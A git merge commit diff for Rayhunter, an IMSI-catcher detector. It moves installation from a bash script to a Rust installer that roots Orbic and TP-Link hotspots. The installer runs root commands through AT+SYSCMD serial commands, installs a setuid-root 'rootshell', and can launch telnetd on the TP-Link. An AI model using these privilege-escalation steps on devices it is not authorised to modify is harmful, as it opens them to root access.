Merge remote-tracking branch 'upstream'

This commit is contained in:
Kevin Stewart
2025-05-16 12:56:59 -07:00
28 changed files with 3212 additions and 820 deletions

View File

@@ -8,9 +8,12 @@ on:
env:
CARGO_TERM_COLOR: always
FILE_ROOTSHELL: ../../rootshell/rootshell
FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon
FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon
jobs:
build_serial_and_check:
build_rayhunter_check:
strategy:
matrix:
platform:
@@ -32,18 +35,7 @@ jobs:
runs-on: ${{ matrix.platform.os }}
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.platform.target }}
- name: Build serial
run: cargo build --bin serial --release --target ${{ matrix.platform.target }}
- uses: actions/upload-artifact@v4
with:
name: serial-${{ matrix.platform.name }}
path: target/${{ matrix.platform.target }}/release/serial${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
if-no-files-found: error
- uses: actions/checkout@v4
- name: Build check
- name: Build rayhunter-check
run: cargo build --bin rayhunter-check --release
- uses: actions/upload-artifact@v4
with:
@@ -88,17 +80,53 @@ jobs:
name: rayhunter-daemon-${{ matrix.device.name }}
path: target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon
if-no-files-found: error
build_rust_installer:
needs:
- build_rayhunter
strategy:
matrix:
platform:
- name: ubuntu-24
os: ubuntu-latest
target: x86_64-unknown-linux-musl
- name: ubuntu-24-aarch64
os: ubuntu-24.04-arm
target: aarch64-unknown-linux-musl
- name: macos-arm
os: macos-latest
target: aarch64-apple-darwin
- name: macos-intel
os: macos-13
target: x86_64-apple-darwin
- name: windows-x86_64
os: windows-latest
target: x86_64-pc-windows-gnu
runs-on: ${{ matrix.platform.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.platform.target }}
- run: cargo build --bin installer --release --target ${{ matrix.platform.target }}
- uses: actions/upload-artifact@v4
with:
name: installer-${{ matrix.platform.name }}
path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
if-no-files-found: error
build_release_zip:
needs:
- build_serial_and_check
- build_rayhunter_check
- build_rootshell
- build_rayhunter
- build_rust_installer
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/download-artifact@v4
- name: Fix executable permissions on binaries
run: chmod +x serial-*/serial rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
run: chmod +x installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
- name: Get Rayhunter version
id: get_version
run: echo "VERSION=$(grep '^version' bin/Cargo.toml | head -n 1 | cut -d'"' -f2)" >> $GITHUB_ENV
@@ -106,7 +134,7 @@ jobs:
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
mkdir "$VERSIONED_DIR"
mv dist/* "$VERSIONED_DIR"/
mv rayhunter-daemon-* rootshell/rootshell installer-* "$VERSIONED_DIR"/
- name: Archive release directory as zip
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
@@ -115,6 +143,7 @@ jobs:
run: |
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
sha256sum "$VERSIONED_DIR.zip" > "$VERSIONED_DIR.zip.sha256"
# TODO: have this create a release directly
- name: Upload zip release and sha256
uses: actions/upload-artifact@v4
with:

View File

@@ -8,6 +8,7 @@ on:
env:
CARGO_TERM_COLOR: always
NO_FIRMWARE_BIN: true
jobs:
check_and_test:
@@ -37,17 +38,17 @@ jobs:
- name: Run clippy
run: cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }}
windows_serial_check_and_test:
windows_installer_check_and_test:
runs-on: windows-latest
steps:
- uses: actions/checkout@v3
- name: cargo check
shell: bash
run: |
cd serial
cd installer
cargo check --verbose
- name: cargo test
shell: bash
run: |
cd serial
cd installer
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}

2493
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -3,8 +3,8 @@
members = [
"lib",
"bin",
"serial",
"rootshell",
"telcom-parser",
"installer",
]
resolver = "2"

View File

@@ -1,6 +1,6 @@
[package]
name = "rayhunter-daemon"
version = "0.2.8"
version = "0.3.0"
edition = "2021"
[features]

View File

@@ -21,7 +21,7 @@
viewBox="0 0 24 24"
>
<path
fill="hsl(200, 40%, 20%)"
fill="white"
d="M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19Z"
/>
</svg>

View File

@@ -11,14 +11,14 @@
<table class="table-auto text-left border">
<thead class="p-2">
<tr class="bg-gray-300">
<th scope="col">Name</th>
<th scope="col">Date Started</th>
<th scope="col">Date of Last Message</th>
<th scope="col">Size (bytes)</th>
<th scope="col">PCAP</th>
<th scope="col">QMDL</th>
<th scope="col">Analysis</th>
<th scope="col">Delete</th>
<th class='p-2' scope="col">Name</th>
<th class='p-2' scope="col">Date Started</th>
<th class='p-2' scope="col">Date of Last Message</th>
<th class='p-2' scope="col">Size (bytes)</th>
<th class='p-2' scope="col">PCAP</th>
<th class='p-2' scope="col">QMDL</th>
<th class='p-2' scope="col">Analysis</th>
<th class='p-2' scope="col">Delete</th>
</tr>
</thead>
<tbody>

View File

@@ -48,7 +48,7 @@
</td>
{/if}
</tr>
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'collapse'}">
<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
<td class="font-bold p-2 bg-blue-100"></td>
<td class="border-t border-dashed p-2" colspan="7">
<AnalysisView {entry} />

View File

@@ -4,7 +4,13 @@ export default {
content: ['./src/**/*.{html,js,svelte,ts}'],
theme: {
extend: {}
extend: {
colors: {
'rayhunter-blue': '#4e4eb1',
'rayhunter-dark-blue': '#3f3da0',
'rayhunter-green': '#94ea18'
}
}
},
plugins: []

View File

@@ -1 +0,0 @@
ECHO TODO

142
dist/install.sh vendored
View File

@@ -1,142 +0,0 @@
#!/usr/bin/env bash
set -e
force_debug_mode() {
echo "Using adb at $ADB"
echo "Force a switch into the debug mode to enable ADB"
"$SERIAL_PATH" --root
echo -n "adb enabled, waiting for reboot..."
wait_for_adb_shell
echo " it's alive!"
echo -n "waiting for atfwd_daemon to startup..."
wait_for_atfwd_daemon
echo " done!"
}
wait_for_atfwd_daemon() {
until [ -n "$(_adb_shell 'pgrep atfwd_daemon')" ]
do
sleep 1
done
}
wait_for_adb_shell() {
until _adb_shell true 2> /dev/null
do
sleep 1
done
}
setup_rootshell() {
_adb_push rootshell /tmp/
_at_syscmd "cp /tmp/rootshell /bin/rootshell"
sleep 1
_at_syscmd "chown root /bin/rootshell"
sleep 1
_at_syscmd "chmod 4755 /bin/rootshell"
_adb_shell '/bin/rootshell -c id'
echo "we have root!"
}
_adb_push() {
"$ADB" push "$(dirname "$0")/$1" "$2"
}
_adb_shell() {
"$ADB" shell "$1"
}
_at_syscmd() {
"$SERIAL_PATH" "AT+SYSCMD=$1"
}
setup_rayhunter() {
_at_syscmd "mkdir -p /data/rayhunter"
_adb_push config.toml.example /tmp/config.toml
_at_syscmd "mv /tmp/config.toml /data/rayhunter"
_adb_push rayhunter-daemon-orbic/rayhunter-daemon /tmp/rayhunter-daemon
_at_syscmd "mv /tmp/rayhunter-daemon /data/rayhunter"
_adb_push scripts/rayhunter_daemon /tmp/rayhunter_daemon
_at_syscmd "mv /tmp/rayhunter_daemon /etc/init.d/rayhunter_daemon"
_adb_push scripts/misc-daemon /tmp/misc-daemon
_at_syscmd "mv /tmp/misc-daemon /etc/init.d/misc-daemon"
_at_syscmd "chmod 755 /etc/init.d/rayhunter_daemon"
_at_syscmd "chmod 755 /etc/init.d/misc-daemon"
echo -n "waiting for reboot..."
_at_syscmd "shutdown -r -t 1 now"
# first wait for shutdown (it can take ~10s)
until ! _adb_shell true 2> /dev/null
do
sleep 1
done
# now wait for boot to finish
wait_for_adb_shell
echo " done!"
}
test_rayhunter() {
URL="http://localhost:8080"
"$ADB" forward tcp:8080 tcp:8080 > /dev/null
echo -n "checking for rayhunter server..."
SECONDS=0
while (( SECONDS < 30 )); do
if curl -L --fail-with-body "$URL" -o /dev/null -s; then
echo "success!"
echo "you can access rayhunter at $URL"
return
fi
sleep 1
done
echo "timeout reached! failed to reach rayhunter url $URL, something went wrong :("
}
##### ##### #####
##### Main #####
##### ##### #####
if [[ `uname -s` == "Linux" ]]; then
if [[ `uname -m` == "arm64" ]]; then
export SERIAL_PATH="./serial-ubuntu-24-aarch64/serial"
elif [[ `uname -m` == "x86_64" ]]; then
export SERIAL_PATH="./serial-ubuntu-24/serial"
fi
export PLATFORM_TOOLS="platform-tools-latest-linux.zip"
elif [[ `uname -s` == "Darwin" ]]; then
if [[ `uname -m` == "arm64" ]]; then
export SERIAL_PATH="./serial-macos-arm/serial"
elif [[ `uname -m` == "x86_64" ]]; then
export SERIAL_PATH="./serial-macos-intel/serial"
fi
export PLATFORM_TOOLS="platform-tools-latest-darwin.zip"
# if we've already deleted this attribute, xattr errors out
xattr -d com.apple.quarantine "$SERIAL_PATH" || echo
else
echo "This script only supports Linux or macOS"
exit 1
fi
if [ ! -x "$SERIAL_PATH" ]; then
echo "The serial binary cannot be found at $SERIAL_PATH. If you are running this from the git tree please instead run it from the latest release bundle https://github.com/EFForg/rayhunter/releases"
exit 1
fi
if ! command -v adb &> /dev/null; then
if [ ! -d ./platform-tools ] ; then
echo "adb not found, downloading local copy"
curl -O "https://dl.google.com/android/repository/${PLATFORM_TOOLS}"
unzip $PLATFORM_TOOLS
fi
export ADB="./platform-tools/adb"
else
export ADB=`which adb`
fi
force_debug_mode
setup_rootshell
setup_rayhunter
test_rayhunter

View File

@@ -5,6 +5,8 @@ set -e
case "$1" in
start)
echo -n "Starting rayhunter: "
# Below line may be replaced by the installer with device-specific startup commands, such as mounting the SD card.
#RAYHUNTER-PRESTART
start-stop-daemon -S -b --make-pidfile --pidfile /tmp/rayhunter.pid \
--startas /bin/sh -- -c "RUST_LOG=info exec /data/rayhunter/rayhunter-daemon /data/rayhunter/config.toml > /data/rayhunter/rayhunter.log 2>&1"
echo "done"

View File

@@ -8,7 +8,7 @@
- [Updating Rayhunter](./updating-rayhunter.md)
- [Uninstalling](./uninstalling.md)
- [Using Rayhunter](./using-rayhunter.md)
- [Rayhunter's hueristics](./heuristics.md)
- [Rayhunter's heuristics](./heuristics.md)
- [How we analyze a capture](./analyzing-a-capture.md)
- [Supported devices](./supported-devices.md)
- [TP-Link M7350](./tplink-m7350.md)

View File

@@ -11,16 +11,21 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
cd ~/Downloads/release
```
3. Turn on your device. For the Orbic, you can do this by holding the power button for 3 seconds or until the screen turns on. Plug it into your computer using a USB-C Cable.
3. Turn on your device by holding the power button on the front.
* For the Orbic, connect the device using a USB-C cable.
* For TP-Link, connect to its network using either WiFi or USB Tethering.
4. Run the install script for your operating system:
```bash
./install.sh
./install orbic
# or: ./install tplink
```
The device will restart multiple times over the next few minutes.
You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
You will know it is done when you see terminal output that says `Testing rayhunter... done`
5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter). You should also see a green line flash along the top of top the display on the device.

View File

@@ -32,7 +32,15 @@ rustup target add x86_64-apple-darwin
rustup target add x86_64-pc-windows-gnu
```
Now you can root your device and install Rayhunter by running `./tools/install-dev.sh`
Now you can root your device and install Rayhunter by running:
```sh
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release --no-default-features --features orbic
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --release
cargo run --bin installer orbic
```
### If you're on Windows or can't run the install scripts

View File

@@ -1,40 +1,54 @@
# TP-Link M7350
Rayhunter is currently working on support for the TP-Link M7350. This
device supports many more frequency bands than the Orbic RC400L, meaning it
works in the EU, for example.
The TP-Link M7350 is supported by Rayhunter as of 0.2.9. It supports many more frequency bands than Orbic and therefore works in Europe.
You can get it [on
Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313)
on Amazon, but particularly in the EU it is often significantly cheaper
second-hand on local forums, ranging anywhere from 15 EUR to 50 EUR (used)
You can get it from:
As of 0.2.8, the official Rayhunter release contains a
"rayhunter-daemon-tplink" binary that can be manually installed onto the
device. Work on an official installer like `install.sh` is in progress.
* First check for used offers on Ebay or equivalent, sometimes it's much cheaper there.
* [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350)
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313)
For information on manual installation see
[rayhunter-tplink-m7350](https://github.com/m0veax/rayhunter-tplink-m7350/)
## Installation & Usage
## Hardware versions
Follow the [release installation guide](./installing-from-release.md). Substitute `./installer orbic` for `./installer tplink` in other documentation. The rayhunter UI will be available at [http://192.168.0.1:8080](http://192.168.0.1:8080).
The TP-Link comes in many different *hardware versions*. You can find the
hardware version of each device under the battery or next to the barcode on the
outer packaging, for example `V3.0` or `V5.2`. Support for installation varies:
Unlike on Orbic, the installer will not enable ADB. Instead, you can do this to obtain a root shell:
* `1.0-2.0`: Not tested, probably impossible to obtain anymore (even second-hand)
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: Tested, no issues.
* `9.0`: Recording might be broken, could be fixed if there is demand.
Otherwise is mostly no difference to the user, except that versions after `3.0`
have a color display.
```sh
./installer util tplink-start-telnet
telnet 192.168.0.1
```
## Display states
If your device has a color display, Rayhunter will show the same
red/green/white line at the top of the display as it does on Orbic, each color
meaning "warning"/"recording"/"paused" respectively.
meaning "warning"/"recording"/"paused" respectively. See [Using Rayhunter](./using-rayhunter.md).
If your device has a one-bit (black-and-white) display, Rayhunter will instead
show an emoji to indicate status. `!` means "warning", `:)` (smiling) means
"recording", `:` (face with no mouth) means "paused".
show an emoji to indicate status:
* `!` means "warning (potential IMSI catcher)"
* `:)` (smiling) means "recording"
* `:` (face with no mouth) means "paused"
## Hardware versions
The TP-Link comes in many different *hardware versions*. Support for installation varies:
* `1.0-2.0`: Not tested, probably impossible to obtain anymore (even second-hand)
* `3.0`, `3.2`, `5.0`, `5.2`, `7.0`, `8.0`: Tested, no issues.
* `9.0`: Recording might be broken, could be fixed if there is demand.
TP-Link versions newer than `3.0` have cyan packaging and a color display.
Version `3.0` has a one-bit display and white packaging.
You can find the exact hardware version of each device under the battery or
next to the barcode on the outer packaging, for example `V3.0` or `V5.2`.
When filing bug reports, particularly with the installer, please always
specify the exact hardware version.
## Other links
For more information on the device and instructions on how to install Rayhunter without an installer, see [rayhunter-tplink-m7350](https://github.com/m0veax/rayhunter-tplink-m7350/)

View File

@@ -6,9 +6,15 @@ It also serves a web UI that provides some basic controls, such as being able to
You can access this UI in one of two ways:
1. **Connect over wifi:** Connect your phone/laptop to your device's wifi network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080). (Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet).
* On the Orbic, you can find the wifi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
2. **Connect over USB:** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
* **Connect over wifi:** Connect your phone/laptop to your device's wifi
network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080) (orbic)
or [http://192.168.0.1:8080](http://192.168.0.1:8080) (tplink).
Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet.
On the Orbic, you can find the wifi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
* **Connect over USB (orbic):** Connect your device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
* On macOS, the easiest way to install ADB is with Homebrew: First [install Homebrew](https://brew.sh/), then run `brew install android-platform-tools`.
* **Connect over USB (tplink):** Plug in the TP-Link and use USB tethering to establish a network connection. ADB support can be enabled on the device, but the installer won't do it for you.

32
installer/Cargo.toml Normal file
View File

@@ -0,0 +1,32 @@
[package]
name = "installer"
version = "0.3.0"
edition = "2024"
[dependencies]
anyhow = "1.0.98"
axum = "0.8.3"
bytes = "1.10.1"
clap = { version = "4.5.37", features = ["derive"] }
hyper = "1.6.0"
hyper-util = "0.1.11"
md5 = "0.7.0"
nusb = "0.1.13"
reqwest = { version = "0.12.15", features = ["json"], default-features = false }
serde = { version = "1.0.219", features = ["derive"] }
sha2 = "0.10.8"
tokio = { version = "1.44.2", features = ["full"] }
tokio-retry2 = "0.5.7"
tokio-stream = "0.1.17"
[target.'cfg(target_os = "linux")'.dependencies.adb_client]
git = "https://github.com/gaykitty/adb_client.git"
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
default-features = false
features = ["trans-nusb"]
[target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client]
git = "https://github.com/gaykitty/adb_client.git"
rev = "1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
default-features = false
features = ["trans-libusb"]

45
installer/build.rs Normal file
View File

@@ -0,0 +1,45 @@
use core::str;
use std::path::Path;
use std::process::exit;
fn main() {
println!("cargo::rerun-if-env-changed=NO_FIRMWARE_BIN");
let include_dir = Path::new(concat!(
env!("CARGO_MANIFEST_DIR"),
"/../target/armv7-unknown-linux-musleabihf/release/"
));
set_binary_var(&include_dir, "FILE_ROOTSHELL", "rootshell");
set_binary_var(
&include_dir,
"FILE_RAYHUNTER_DAEMON_ORBIC",
"rayhunter-daemon",
);
set_binary_var(
&include_dir,
"FILE_RAYHUNTER_DAEMON_TPLINK",
"rayhunter-daemon",
);
}
fn set_binary_var(include_dir: &Path, var: &str, file: &str) {
if std::env::var_os("NO_FIRMWARE_BIN").is_some() {
let out_dir = std::env::var("OUT_DIR").unwrap();
std::fs::create_dir_all(&out_dir).unwrap();
let blank = Path::new(&out_dir).join("blank");
std::fs::write(&blank, &[]).unwrap();
println!("cargo::rustc-env={var}={}", blank.display());
return;
}
if std::env::var_os(var).is_none() {
let binary = include_dir.join(file);
if !binary.exists() {
println!(
"cargo::error=Firmware binary {file} not present at {}",
binary.display()
);
exit(0);
}
println!("cargo::rustc-env={var}={}", binary.display());
println!("cargo::rerun-if-changed={}", binary.display());
}
}

110
installer/src/main.rs Normal file
View File

@@ -0,0 +1,110 @@
use anyhow::{Context, Error, bail};
use clap::{Parser, Subcommand};
mod orbic;
mod tplink;
pub static CONFIG_TOML: &str = include_str!("../../dist/config.toml.example");
pub static RAYHUNTER_DAEMON_INIT: &str = include_str!("../../dist/scripts/rayhunter_daemon");
#[derive(Parser, Debug)]
#[command(version, about)]
struct Args {
#[command(subcommand)]
command: Command,
}
#[derive(Subcommand, Debug)]
enum Command {
/// Install rayhunter on the Orbic Orbic RC400L.
Orbic(InstallOrbic),
/// Install rayhunter on the TP-Link M7350.
Tplink(InstallTpLink),
/// Developer utilities.
Util(Util),
}
#[derive(Parser, Debug)]
struct InstallTpLink {
/// Do not enforce use of SD card. All data will be stored in /mnt/card regardless, which means
/// that if an SD card is later added, your existing installation is shadowed!
#[arg(long)]
skip_sdcard: bool,
/// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
}
#[derive(Parser, Debug)]
struct InstallOrbic {}
#[derive(Parser, Debug)]
struct Util {
#[command(subcommand)]
command: UtilSubCommand,
}
#[derive(Subcommand, Debug)]
enum UtilSubCommand {
/// Send a serial command to the Orbic.
Serial(Serial),
/// Root the tplink and launch telnetd.
TplinkStartTelnet(TplinkStartTelnet),
}
#[derive(Parser, Debug)]
struct TplinkStartTelnet {
/// IP address for TP-Link admin interface, if custom.
#[arg(long, default_value = "192.168.0.1")]
admin_ip: String,
}
#[derive(Parser, Debug)]
struct Serial {
#[arg(long)]
root: bool,
command: Vec<String>,
}
async fn run() -> Result<(), Error> {
let Args { command } = Args::parse();
match command {
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
Command::Util(subcommand) => match subcommand.command {
UtilSubCommand::Serial(serial_cmd) => {
if serial_cmd.root {
if !serial_cmd.command.is_empty() {
eprintln!("You cannot use --root and specify a command at the same time");
std::process::exit(64);
}
orbic::enable_command_mode()?;
} else if serial_cmd.command.is_empty() {
eprintln!("Command cannot be an empty string");
std::process::exit(64);
} else {
let cmd = serial_cmd.command.join(" ");
match orbic::open_orbic()? {
Some(interface) => orbic::send_serial_cmd(&interface, &cmd).await?,
None => bail!(orbic::ORBIC_NOT_FOUND),
}
}
}
UtilSubCommand::TplinkStartTelnet(options) => {
tplink::start_telnet(&options.admin_ip).await?;
}
}
}
Ok(())
}
#[tokio::main]
async fn main() {
if let Err(e) = run().await {
eprintln!("{e:?}");
std::process::exit(1);
}
}

457
installer/src/orbic.rs Normal file
View File

@@ -0,0 +1,457 @@
use std::io::{ErrorKind, Write};
use std::path::Path;
use std::time::Duration;
use adb_client::{ADBDeviceExt, ADBUSBDevice, RustADBError};
use anyhow::{Context, Result, anyhow, bail};
use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
use nusb::{Device, Interface};
use sha2::{Digest, Sha256};
use tokio::time::sleep;
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
Make sure your device is plugged in and turned on.
If you're sure you've plugged in an Orbic device via USB, there may be a bug in
our installer. Please file a bug with the output of `lsusb` attached."#;
const ORBIC_BUSY: &str = r#"The Orbic is plugged in but is being used by another program.
Please close any program that might be using your USB devices.
If you have adb installed you may need to kill the adb daemon"#;
#[cfg(target_os = "macos")]
const ORBIC_BUSY_MAC: &str = r#"Permission denied.
On macOS this might be caused by another program using the Orbic.
Please close any program that might be using your Orbic.
If you have adb installed you may need to kill the adb daemon"#;
const VENDOR_ID: u16 = 0x05c6;
const PRODUCT_ID: u16 = 0xf601;
macro_rules! echo {
($($arg:tt)*) => {
print!($($arg)*);
let _ = std::io::stdout().flush();
};
}
pub async fn install() -> Result<()> {
let mut adb_device = force_debug_mode().await?;
let serial_interface = open_orbic()?.ok_or_else(|| anyhow!(ORBIC_NOT_FOUND))?;
echo!("Installing rootshell... ");
setup_rootshell(&serial_interface, &mut adb_device).await?;
println!("done");
echo!("Installing rayhunter... ");
let mut adb_device = setup_rayhunter(&serial_interface, adb_device).await?;
println!("done");
echo!("Testing rayhunter... ");
test_rayhunter(&mut adb_device).await?;
println!("done");
Ok(())
}
async fn force_debug_mode() -> Result<ADBUSBDevice> {
println!("Forcing a switch into the debug mode to enable ADB");
enable_command_mode()?;
echo!("ADB enabled, waiting for reboot... ");
let mut adb_device = get_adb().await?;
println!("it's alive!");
echo!("Waiting for atfwd_daemon to startup... ");
adb_command(&mut adb_device, &["pgrep", "atfwd_daemon"])?;
println!("done");
Ok(adb_device)
}
async fn setup_rootshell(
serial_interface: &Interface,
adb_device: &mut ADBUSBDevice,
) -> Result<()> {
let rootshell_bin = include_bytes!(env!("FILE_ROOTSHELL"));
install_file(
serial_interface,
adb_device,
"/bin/rootshell",
rootshell_bin,
)
.await?;
tokio::time::sleep(Duration::from_secs(1)).await;
at_syscmd(serial_interface, "chown root /bin/rootshell").await?;
tokio::time::sleep(Duration::from_secs(1)).await;
at_syscmd(serial_interface, "chmod 4755 /bin/rootshell").await?;
let output = adb_command(adb_device, &["/bin/rootshell", "-c", "id"])?;
if !output.contains("uid=0") {
bail!("rootshell is not giving us root.");
}
Ok(())
}
async fn setup_rayhunter(
serial_interface: &Interface,
mut adb_device: ADBUSBDevice,
) -> Result<ADBUSBDevice> {
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_ORBIC"));
at_syscmd(serial_interface, "mkdir -p /data/rayhunter").await?;
install_file(
serial_interface,
&mut adb_device,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
)
.await?;
install_file(
serial_interface,
&mut adb_device,
"/data/rayhunter/config.toml",
CONFIG_TOML.as_bytes(),
)
.await?;
install_file(
serial_interface,
&mut adb_device,
"/etc/init.d/rayhunter_daemon",
RAYHUNTER_DAEMON_INIT.as_bytes(),
)
.await?;
install_file(
serial_interface,
&mut adb_device,
"/etc/init.d/misc-daemon",
include_bytes!("../../dist/scripts/misc-daemon"),
)
.await?;
at_syscmd(serial_interface, "chmod 755 /etc/init.d/rayhunter_daemon").await?;
at_syscmd(serial_interface, "chmod 755 /etc/init.d/misc-daemon").await?;
println!("done");
echo!("Waiting for reboot... ");
at_syscmd(serial_interface, "shutdown -r -t 1 now").await?;
// first wait for shutdown (it can take ~10s)
tokio::time::timeout(Duration::from_secs(30), async {
while let Ok(dev) = adb_echo_test(adb_device).await {
adb_device = dev;
sleep(Duration::from_secs(1)).await;
}
})
.await
.context("Orbic took too long to shutdown")?;
// now wait for boot to finish
get_adb().await
}
async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> {
const MAX_FAILURES: u32 = 10;
let mut failures = 0;
while failures < MAX_FAILURES {
if let Ok(output) = adb_command(
adb_device,
&["wget", "-O", "-", "http://localhost:8080/index.html"],
) {
if output.contains("html") {
return Ok(());
}
}
failures += 1;
sleep(Duration::from_secs(3)).await;
}
bail!("timeout reached! failed to reach rayhunter, something went wrong :(")
}
async fn install_file(
serial_interface: &Interface,
adb_device: &mut ADBUSBDevice,
dest: &str,
payload: &[u8],
) -> Result<()> {
const MAX_FAILURES: u32 = 5;
let mut failures = 0;
loop {
match install_file_impl(serial_interface, adb_device, dest, payload).await {
Ok(()) => return Ok(()),
Err(e) => {
if failures > MAX_FAILURES {
return Err(e);
} else {
sleep(Duration::from_secs(1)).await;
failures += 1;
}
}
}
}
}
async fn install_file_impl(
serial_interface: &Interface,
adb_device: &mut ADBUSBDevice,
dest: &str,
mut payload: &[u8],
) -> Result<()> {
let file_name = Path::new(dest)
.file_name()
.ok_or_else(|| anyhow!("{dest} does not have a file name"))?
.to_str()
.ok_or_else(|| anyhow!("{dest}'s file name is not UTF8"))?
.to_owned();
let push_tmp_path = format!("/tmp/{file_name}");
let mut hasher = Sha256::new();
hasher.update(payload);
let file_hash_bytes = hasher.finalize();
let file_hash = format!("{file_hash_bytes:x}");
adb_device.push(&mut payload, &push_tmp_path)?;
at_syscmd(serial_interface, &format!("mv {push_tmp_path} {dest}")).await?;
let file_info = adb_device
.stat(dest)
.context("Failed to stat transfered file")?;
if file_info.file_size == 0 {
bail!("File transfer unseccessful\nFile is empty");
}
let ouput = adb_command(adb_device, &["sha256sum", dest])?;
if !ouput.contains(&file_hash) {
bail!("File transfer unseccessful\nBad hash expected {file_hash} got {ouput}");
}
Ok(())
}
fn adb_command(adb_device: &mut ADBUSBDevice, command: &[&str]) -> Result<String> {
let mut buf = Vec::<u8>::new();
adb_device.shell_command(command, &mut buf)?;
Ok(String::from_utf8_lossy(&buf).into_owned())
}
/// Creates an ADB interface instance.
///
/// This function waits for the ADB device then checks that an ADB shell command runs.
async fn get_adb() -> Result<ADBUSBDevice> {
const MAX_FAILURES: u32 = 10;
let mut failures = 0;
loop {
match ADBUSBDevice::new(VENDOR_ID, PRODUCT_ID) {
Ok(dev) => match adb_echo_test(dev).await {
Ok(dev) => return Ok(dev),
Err(e) => {
if failures > MAX_FAILURES {
return Err(e);
} else {
sleep(Duration::from_secs(1)).await;
failures += 1;
}
}
},
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => {
bail!(ORBIC_BUSY);
}
#[cfg(target_os = "macos")]
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::PermissionDenied => {
bail!(ORBIC_BUSY_MAC);
}
Err(RustADBError::DeviceNotFound(_)) => {
tokio::time::timeout(
Duration::from_secs(30),
wait_for_usb_device(VENDOR_ID, PRODUCT_ID),
)
.await
.context("Timeout waiting for Orbic to reconnect")??;
}
Err(e) => {
if failures > MAX_FAILURES {
return Err(e.into());
} else {
sleep(Duration::from_secs(1)).await;
failures += 1;
}
}
}
}
}
async fn adb_echo_test(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
let mut buf = Vec::<u8>::new();
// Random string to echo
let test_echo = "qwertyzxcvbnm";
let thread = std::thread::spawn(move || {
// This call to run a shell command is run on a separate thread because it can block
// indefinitely until the command runs, which is undesirable.
adb_device.shell_command(&["echo", test_echo], &mut buf)?;
Ok::<(ADBUSBDevice, Vec<u8>), RustADBError>((adb_device, buf))
});
sleep(Duration::from_secs(1)).await;
if thread.is_finished() {
if let Ok(Ok((dev, buf))) = thread.join() {
if let Ok(s) = std::str::from_utf8(&buf) {
if s.contains(test_echo) {
return Ok(dev);
}
}
}
}
// I'd like to kill the background thread here if that was possible.
bail!("Could not communicate with the Orbic. Try disconnecting and reconnecting.");
}
#[cfg(not(target_os = "macos"))]
async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
